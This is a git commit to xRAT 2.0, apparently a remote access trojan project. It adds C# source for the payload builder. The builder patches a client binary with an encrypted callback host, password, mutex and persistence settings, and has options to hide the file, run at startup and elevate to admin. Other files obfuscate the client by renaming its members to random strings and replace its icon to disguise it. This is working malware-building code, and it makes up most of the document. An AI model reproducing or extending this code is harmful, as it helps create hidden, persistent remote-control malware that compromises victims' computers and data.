Added missing files

This commit is contained in:
MaxXor 2014-07-08 21:36:24 +02:00
parent 123a8d1fc9
commit 776fb834fe
5 changed files with 541 additions and 3 deletions

1
.gitignore vendored
View File

@ -11,7 +11,6 @@
[Dd]ebugPublic/
[Rr]elease/
x64/
build/
bld/
[Bb]in/
[Oo]bj/

View File

@ -0,0 +1,136 @@
using Core.Encryption;
using Mono.Cecil;
using Mono.Cecil.Cil;
using System.Windows.Forms;
using xRAT_2.Settings;
namespace Core.Build
{
class ClientBuilder
{
public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath)
{
// PHASE 1 - Settings
string encKey = Helper.GetRandomName(20);
AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in assembly.Modules[0].Types)
{
if (typeDef.FullName == "Client.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1, ints = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(Application.ProductVersion + " " + XMLSettings.VERSION, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
break;
case 8: //random encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
break;
case 4: //AdminElevation
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
switch (ints)
{
case 1: //port
methodDef.Body.Instructions[i].Operand = port;
break;
case 2: //reconnectdelay
methodDef.Body.Instructions[i].Operand = reconnectdelay;
break;
}
ints++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // number for directory
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(assembly);
r.Perform();
if (!r.Success)
throw new System.Exception("renaming failed");
// PHASE 3 - Saving
r.AsmDef.Write(output);
// PHASE 4 - Icon changing
if (!string.IsNullOrEmpty(iconpath))
IconInjector.InjectIcon(output, iconpath);
}
private static OpCode BoolOpcode(bool p)
{
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
}
private static sbyte GetSpecialFolder(int installpath)
{
switch (installpath)
{
case 1:
return 26; // Appdata
case 2:
return 38; // ProgramFiles
case 3:
return 37; // System
default:
return 26; // Appdata
}
}
}
}

View File

@ -0,0 +1,212 @@
using System;
using System.Runtime.InteropServices;
using System.Security;
namespace Core.Build
{
public class IconInjector
{
// Basically, you can change icons with the UpdateResource api call.
// When you make the call you say "I'm updating an icon", and you send the icon data.
// The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in
// another set of structures. So you have to translate between the two -- you can't just load the ICO file as
// bytes and send them with the UpdateResource api call.
[SuppressUnmanagedCodeSecurity()]
private class NativeMethods
{
[DllImport("kernel32")]
public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)]bool deleteExistingResources);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)]byte[] data, int dataSize);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)]bool discard);
}
// The first structure in an ICO file lets us know how many images are in the file.
[StructLayout(LayoutKind.Sequential)]
private struct ICONDIR
{
// Reserved, must be 0
public ushort Reserved;
// Resource type, 1 for icons.
public ushort Type;
// How many images.
public ushort Count;
// The native structure has an array of ICONDIRENTRYs as a final field.
}
// Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data
// starts in the file. The other fields give the information required to turn that image data into a valid
// bitmap.
[StructLayout(LayoutKind.Sequential)]
private struct ICONDIRENTRY
{
// Width, in pixels, of the image
public byte Width;
// Height, in pixels, of the image
public byte Height;
// Number of colors in image (0 if >=8bpp)
public byte ColorCount;
// Reserved ( must be 0)
public byte Reserved;
// Color Planes
public ushort Planes;
// Bits per pixel
public ushort BitCount;
// Length in bytes of the pixel data
public int BytesInRes;
// Offset in the file where the pixel data starts.
public int ImageOffset;
}
// Each image is stored in the file as an ICONIMAGE structure:
//typdef struct
//{
// BITMAPINFOHEADER icHeader; // DIB header
// RGBQUAD icColors[1]; // Color table
// BYTE icXOR[1]; // DIB bits for XOR mask
// BYTE icAND[1]; // DIB bits for AND mask
//} ICONIMAGE, *LPICONIMAGE;
[StructLayout(LayoutKind.Sequential)]
private struct BITMAPINFOHEADER
{
public uint Size;
public int Width;
public int Height;
public ushort Planes;
public ushort BitCount;
public uint Compression;
public uint SizeImage;
public int XPelsPerMeter;
public int YPelsPerMeter;
public uint ClrUsed;
public uint ClrImportant;
}
// The icon in an exe/dll file is stored in a very similar structure:
[StructLayout(LayoutKind.Sequential, Pack = 2)]
private struct GRPICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public ushort ID;
}
public static void InjectIcon(string exeFileName, string iconFileName)
{
InjectIcon(exeFileName, iconFileName, 1, 1);
}
public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
{
const uint RT_ICON = 3u;
const uint RT_GROUP_ICON = 14u;
IconFile iconFile = IconFile.FromFile(iconFileName);
var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false);
var data = iconFile.CreateIconGroupData(iconBaseID);
NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data, data.Length);
for (int i = 0; i <= iconFile.ImageCount - 1; i++)
{
var image = iconFile.ImageData(i);
NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image, image.Length);
}
NativeMethods.EndUpdateResource(hUpdate, false);
}
private class IconFile
{
private ICONDIR iconDir = new ICONDIR();
private ICONDIRENTRY[] iconEntry;
private byte[][] iconImage;
public int ImageCount
{
get { return iconDir.Count; }
}
public byte[] ImageData (int index)
{
return iconImage[index];
}
public static IconFile FromFile(string filename)
{
IconFile instance = new IconFile();
// Read all the bytes from the file.
byte[] fileBytes = System.IO.File.ReadAllBytes(filename);
// First struct is an ICONDIR
// Pin the bytes from the file in memory so that we can read them.
// If we didn't pin them then they could move around (e.g. when the
// garbage collector compacts the heap)
GCHandle pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned);
// Read the ICONDIR
instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR));
// which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data.
instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count];
instance.iconImage = new byte[instance.iconDir.Count][];
// The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR
int offset = Marshal.SizeOf(instance.iconDir);
// After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY
var iconDirEntryType = typeof(ICONDIRENTRY);
var size = Marshal.SizeOf(iconDirEntryType);
for (int i = 0; i <= instance.iconDir.Count - 1; i++)
{
// Grab the structure.
var entry = (ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset), iconDirEntryType);
instance.iconEntry[i] = entry;
// Grab the associated pixel data.
instance.iconImage[i] = new byte[entry.BytesInRes];
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes);
offset += size;
}
pinnedBytes.Free();
return instance;
}
public byte[] CreateIconGroupData(uint iconBaseID)
{
// This will store the memory version of the icon.
int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) + Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount;
byte[] data = new byte[sizeOfIconGroupData];
var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned);
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false);
var offset = Marshal.SizeOf(iconDir);
for (int i = 0; i <= ImageCount - 1; i++)
{
GRPICONDIRENTRY grpEntry = new GRPICONDIRENTRY();
BITMAPINFOHEADER bitmapheader = new BITMAPINFOHEADER();
var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned);
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(), Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
pinnedBitmapInfoHeader.Free();
grpEntry.Width = iconEntry[i].Width;
grpEntry.Height = iconEntry[i].Height;
grpEntry.ColorCount = iconEntry[i].ColorCount;
grpEntry.Reserved = iconEntry[i].Reserved;
grpEntry.Planes = bitmapheader.Planes;
grpEntry.BitCount = bitmapheader.BitCount;
grpEntry.BytesInRes = iconEntry[i].BytesInRes;
grpEntry.ID = Convert.ToUInt16(iconBaseID + i);
Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset), false);
offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
}
pinnedData.Free();
return data;
}
}
}
}

View File

@ -0,0 +1,191 @@
using System;
using System.Collections.Generic;
using System.Text;
using Mono.Cecil;
namespace Core.Build
{
public class Renamer
{
public AssemblyDefinition AsmDef { get; set; }
public bool Success { get; set; }
private int length { get; set; }
private MemberOverloader TypeOverloader;
Dictionary<TypeDefinition, MemberOverloader> methodOverloaders;
Dictionary<TypeDefinition, MemberOverloader> fieldOverloaders;
Dictionary<TypeDefinition, MemberOverloader> eventOverloaders;
public Renamer(AssemblyDefinition asmDef)
: this(asmDef, 20)
{ }
public Renamer(AssemblyDefinition asmDef, int length)
{
this.AsmDef = asmDef;
this.length = length;
TypeOverloader = new MemberOverloader(this.length);
methodOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
fieldOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
}
public void Perform()
{
try
{
foreach (var module in AsmDef.Modules)
{
foreach (TypeDefinition typeDef in module.Types)
{
RenameInType(typeDef);
}
}
Success = true;
}
catch
{
Success = false;
}
}
private void RenameInType(TypeDefinition typeDef)
{
if (typeDef.Namespace.Contains("My") || typeDef.Namespace.Contains("Core.Packets") || typeDef.Namespace == "Core" || typeDef.Namespace == "Core.Elevation" || typeDef.Namespace.Contains("LZ4") || typeDef.Namespace.Contains("ProtoBuf"))
return;
TypeOverloader.GiveName(typeDef);
typeDef.Namespace = string.Empty;
MemberOverloader methodOverloader = GetMethodOverloader(typeDef);
MemberOverloader fieldOverloader = GetFieldOverloader(typeDef);
MemberOverloader eventOverloader = GetEventOverloader(typeDef);
if (typeDef.HasNestedTypes)
foreach (TypeDefinition nestedType in typeDef.NestedTypes)
RenameInType(nestedType);
if (typeDef.HasMethods)
foreach (MethodDefinition methodDef in typeDef.Methods)
if (!methodDef.IsConstructor)
{
methodOverloader.GiveName(methodDef);
}
if (typeDef.HasFields)
foreach (FieldDefinition fieldDef in typeDef.Fields)
fieldOverloader.GiveName(fieldDef);
if (typeDef.HasEvents)
foreach (EventDefinition eventDef in typeDef.Events)
eventOverloader.GiveName(eventDef);
}
private MemberOverloader GetMethodOverloader(TypeDefinition typeDef)
{
return GetOverloader(this.methodOverloaders, typeDef);
}
private MemberOverloader GetFieldOverloader(TypeDefinition typeDef)
{
return GetOverloader(this.fieldOverloaders, typeDef);
}
private MemberOverloader GetEventOverloader(TypeDefinition typeDef)
{
return GetOverloader(this.eventOverloaders, typeDef);
}
private MemberOverloader GetOverloader(Dictionary<TypeDefinition, MemberOverloader> overloaderDictionary, TypeDefinition targetTypeDef)
{
MemberOverloader overloader;
if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader))
{
overloader = new MemberOverloader(this.length);
overloaderDictionary.Add(targetTypeDef, overloader);
}
return overloader;
}
private class MemberOverloader
{
private bool DoRandom { get; set; }
private int StartingLength { get; set; }
private Dictionary<string, string> RenamedMembers = new Dictionary<string, string>();
private char[] CharMap;
private int[] Indices;
public MemberOverloader(int startingLength, bool doRandom = true)
: this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray())
{
}
public MemberOverloader(int startingLength, bool doRandom, char[] chars)
{
this.CharMap = chars;
this.DoRandom = doRandom;
this.StartingLength = startingLength;
this.Indices = new int[startingLength];
}
public void GiveName(MemberReference member)
{
string currentName = GetCurrentName();
string originalName = member.ToString();
member.Name = currentName;
while (RenamedMembers.ContainsValue(member.ToString()))
{
member.Name = GetCurrentName();
}
RenamedMembers.Add(originalName, member.ToString());
}
private string GetCurrentName()
{
if (DoRandom)
return GetRandomName();
else
return GetOverloadedName();
}
private string GetRandomName()
{
StringBuilder builder = new StringBuilder();
for (int i = 0; i < StartingLength; i++)
{
builder.Append((char)new Random(Guid.NewGuid().GetHashCode()).Next(int.MinValue, int.MaxValue));
}
return builder.ToString();
}
private string GetOverloadedName()
{
IncrementIndices();
char[] chars = new char[Indices.Length];
for (int i = 0; i < Indices.Length; i++)
chars[i] = CharMap[Indices[i]];
return new string(chars);
}
private void IncrementIndices()
{
for (int i = Indices.Length - 1; i >= 0; i--)
{
Indices[i]++;
if (Indices[i] >= CharMap.Length)
{
if (i == 0)
Array.Resize(ref Indices, Indices.Length + 1);
Indices[i] = 0;
}
else
break;
}
}
}
}
}

View File

@ -32,5 +32,5 @@ using System.Runtime.InteropServices;
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("2.0.1.0")]
[assembly: AssemblyFileVersion("2.0.1.0")]
[assembly: AssemblyVersion("2.0.0.0")]
[assembly: AssemblyFileVersion("2.0.0.0")]